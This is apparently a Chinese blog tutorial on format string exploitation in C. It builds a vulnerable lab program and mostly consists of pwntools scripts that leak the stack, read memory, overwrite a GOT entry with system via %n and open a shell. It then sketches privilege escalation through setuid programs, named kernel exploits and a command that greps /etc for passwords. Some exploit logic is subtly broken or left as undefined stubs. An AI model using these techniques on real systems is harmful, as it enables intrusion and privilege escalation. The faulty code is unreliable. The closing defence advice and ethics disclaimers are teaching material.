前言:为什么格式化字符串如此危险?
本文章仅提供学习,切勿将其用于不法手段!
想象有一个特别诚实的公告板管理员,你问他什么他都如实回答,甚至允许你直接修改公告板上的内容。格式化字符串漏洞就像是这样——程序过于"诚实",把本应该保密的内存信息都泄露给你,甚至允许你随意修改关键数据。
第一部分:漏洞原理深度解析
1.1 格式化函数的工作原理
在C语言中,printf家族的函数是这样工作的:
printf("我的名字是%s,年龄是%d岁", name, age);
正常使用时,格式化字符串(第一个参数)是程序员写的,后续参数是用户数据。但如果有漏洞代码:
printf(user_input); // 危险!用户控制了格式化字符串
这时候,用户就可以输入%s %x %p这样的特殊指令,让printf函数"吐露"内存秘密。
1.2 栈内存的"坦白机制"
当printf执行时,它会根据格式化字符串中的指令,从栈上按顺序取参数:
栈结构:
[格式化字符串地址]
[参数1地址] ← printf期望找到第一个参数的地方
[参数2地址]
[返回地址]
...
但如果调用是printf(user_input),没有额外参数:
[user_input字符串地址]
[栈上的其他数据] ← printf会把这些当成参数!
[更多栈数据]
这就是信息泄漏的根本原因——printf把栈上的随机数据当成了参数来解释!
1.3 %n的致命威力
%n是一个特殊的格式化指令,它不输出内容,而是写入已经输出的字符数到对应参数指向的地址:
int count;
printf("hello%n", &count); // count的值变为5
如果我们可以控制这个参数,就能实现任意地址写入!
第二部分:实战漏洞利用
2.1 环境准备
先创建一个有漏洞的程序:
// fmt_vuln.c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[100];
printf("请输入你的名字: ");
fgets(buffer, sizeof(buffer), stdin);
// 漏洞就在这里!
printf(buffer); // 用户控制格式化字符串
}
int main() {
vulnerable_function();
return 0;
}
编译并关闭保护:
gcc -o fmt_vuln -fno-stack-protector -z execstack fmt_vuln.c
2.2 信息收集阶段
#!/usr/bin/env python3
from pwn import *
# 启动程序
p = process('./fmt_vuln')
# 探测栈数据
def probe_stack():
# 发送多个%p来泄漏栈内容
payload = b'%p.' * 20
p.sendline(payload)
response = p.recvline()
# 解析泄漏的地址
leaks = response.decode().strip().split('.')
for i, leak in enumerate(leaks):
if leak.startswith('0x'):
print(f"栈位置 {i}: {leak}")
return leaks
leaked_addresses = probe_stack()
2.3 计算关键偏移
# 找到我们的输入在栈上的位置
def find_input_offset():
# 发送包含特殊标记的输入
marker = b'ABCDEFGH'
payload = marker + b'%p%p%p%p%p%p%p'
p.sendline(payload)
response = p.recvline()
# 查找我们的标记出现在哪个%p位置
if b'ABCDEFGH' in response:
# 通常会在某个偏移处看到0x4847464544434241(ABCDEFGH的十六进制)
parts = response.split(b'0x')
for i, part in enumerate(parts[1:], 1):
if b'4241' in part: # 'BA'的十六进制
print(f"我们的输入在栈上的第 {i} 个参数位置")
return i
return None
offset = find_input_offset()
print(f"偏移量: {offset}")
2.4 任意内存读取
# 读取任意地址的内存
def read_memory(address):
# 构造payload:地址 + %s
payload = p32(address) + f"%{offset}$s".encode()
p.sendline(payload)
# 解析响应
response = p.recvline()
# 第一个4字节是我们的地址,后面是读取的内容
return response[4:]
# 读取GOT表条目获取libc地址
got_puts = 0x0804a010 # 假设的puts@got地址
puts_content = read_memory(got_puts)
libc_puts = u32(puts_content[:4])
print(f"puts在libc中的地址: 0x{libc_puts:08x}")
2.5 任意内存写入(%n攻击)
# 使用%n写入数据
def write_memory(address, value):
# 计算需要输出的字符数
# 我们需要分多次写入(因为一次输出太多字符不现实)
# 先写入低16位
byte1 = value & 0xFF
byte2 = (value >> 8) & 0xFF
# 构造payload
payload = p32(address) + p32(address+1)
# 计算需要输出的字符数
chars_printed = len(payload)
needed_chars1 = byte1 - chars_printed
needed_chars2 = byte2 - byte1 # 需要调整
# 添加格式化字符串
payload += f"%{needed_chars1}x%{offset}$hhn".encode()
payload += f"%{needed_chars2}x%{offset+1}$hhn".encode()
p.sendline(payload)
p.recvline() # 接收输出
# 修改GOT表,将puts替换为system
libc_base = libc_puts - 0x5f140 # 假设的puts偏移
system_addr = libc_base + 0x3a940 # 假设的system偏移
write_memory(got_puts, system_addr)
print("成功将puts替换为system!")
2.6 获取Shell
# 现在调用puts实际上会调用system
# 我们只需要传递"/bin/sh"作为参数
p.sendline(b"/bin/sh")
p.interactive() # 享受你的shell!
第三部分:现实世界的挑战与绕过
3.1 应对现代防护措施
实际环境中,你会遇到更多挑战:
def bypass_modern_protections():
# 1. 绕过ASLR:需要先泄漏地址
# 2. 绕过RELRO:可能需要修改其他可写区域
# 3. 绕过栈保护:格式化字符串通常不影响栈canary
# 使用部分覆盖等技术
if is_aslr_enabled():
# 先泄漏libc地址
libc_leak = leak_libc_address()
# 计算实际地址
system_addr = calculate_system_address(libc_leak)
# 可能需要多次尝试或更精确的偏移计算
3.2 高级利用技巧
# 更精确的地址计算
def precise_address_calculation():
# 泄漏多个地址以提高准确性
leaks = []
for i in range(10):
leak = leak_stack_address(i)
leaks.append(leak)
# 通过特征模式识别特定地址
for addr in leaks:
if (addr & 0xFFF) == 0x350: # 假设的特征值
libc_base = addr - 0x123350
return libc_base
return None
# 使用更复杂的写入策略
def advanced_write_technique():
# 分层写入:先写重要函数,再写辅助函数
# 或者使用ROP链与格式化字符串结合
pass
第四部分:从Shell到Root权限
4.1 权限提升策略
拿到shell后,还需要提升到root权限:
def privilege_escalation():
# 检查当前权限
p.sendline(b"id")
response = p.recvline()
print(f"当前用户: {response}")
# 方法1:利用setuid程序
setuid_programs = [
"/bin/ping", "/bin/mount", "/usr/bin/passwd",
"/usr/bin/sudo", "/usr/bin/chsh"
]
for program in setuid_programs:
if check_program_vulnerable(program):
return exploit_setuid(program)
# 方法2:内核漏洞
kernel_exploits = [
"dirtycow", "sudo Baron Samedit", "其他CVE"
]
for exploit in kernel_exploits:
if try_kernel_exploit(exploit):
return True
# 方法3:密码和配置文件查找
p.sendline(b"grep -r 'password' /etc/ 2>/dev/null | head -5")
passwords = p.recvlines(5)
print(f"发现的密码信息: {passwords}")
return False
4.2 现实中的复杂情况
def real_world_challenges():
# 1. 输入长度限制
# 2. 特殊字符过滤
# 3. 输出被截断
# 4. 多阶段利用需求
# 应对策略:使用短payload、编码、分阶段攻击
if has_input_length_limit():
use_short_payload_strategy()
if has_character_filter():
use_encoding_or_alternative_methods()
第五部分:防御视角与深度思考
5.1 为什么这种漏洞存在?
- 历史原因:早期C语言设计时安全性不是首要考虑
- 便利性陷阱:快速开发时容易忽略安全细节
- 教育缺失:很多程序员不了解格式化字符串的危险性
5.2 如何防御?
// 错误的做法
printf(user_input); // 绝对禁止!
// 正确的做法
printf("%s", user_input); // 安全版本
// 或者更好的选择
fputs(user_input, stdout); // 完全避免格式化
// 现代编译器的保护
#if defined(__GNUC__)
# pragma GCC warning "注意格式化字符串安全!"
#endif
5.3 伦理思考与技术责任
- 授权测试:只在获得明确授权的系统上进行
- 负披露:给厂商合理时间修复后再公开
- 教育目的:技术知识应该用于建设更安全的世界
结语:格式化字符串的艺术
格式化字符串漏洞利用就像是一场精妙的对话艺术:你通过精心构造的"问题"(格式化字符串),让程序"回答"出它本不应该透露的秘密,甚至"说服"它按照你的意愿行动。
但真正的技术大师不是那些能够攻破系统的人,而是那些能够设计出不会被攻破的系统的人。
深度思考:在Web开发中,SQL注入和格式化字符串漏洞有什么相似之处?为什么这两种漏洞都源于"过度信任用户输入"的设计哲学?
记住:能力越大,责任越大。用你的技术让数字世界变得更安全,而不是更脆弱。
免责声明:本文所有技术内容仅用于教育目的和安全研究。未经授权的系统访问是违法行为。请始终在合法授权范围内进行安全测试。

1218

被折叠的 条评论
为什么被折叠?



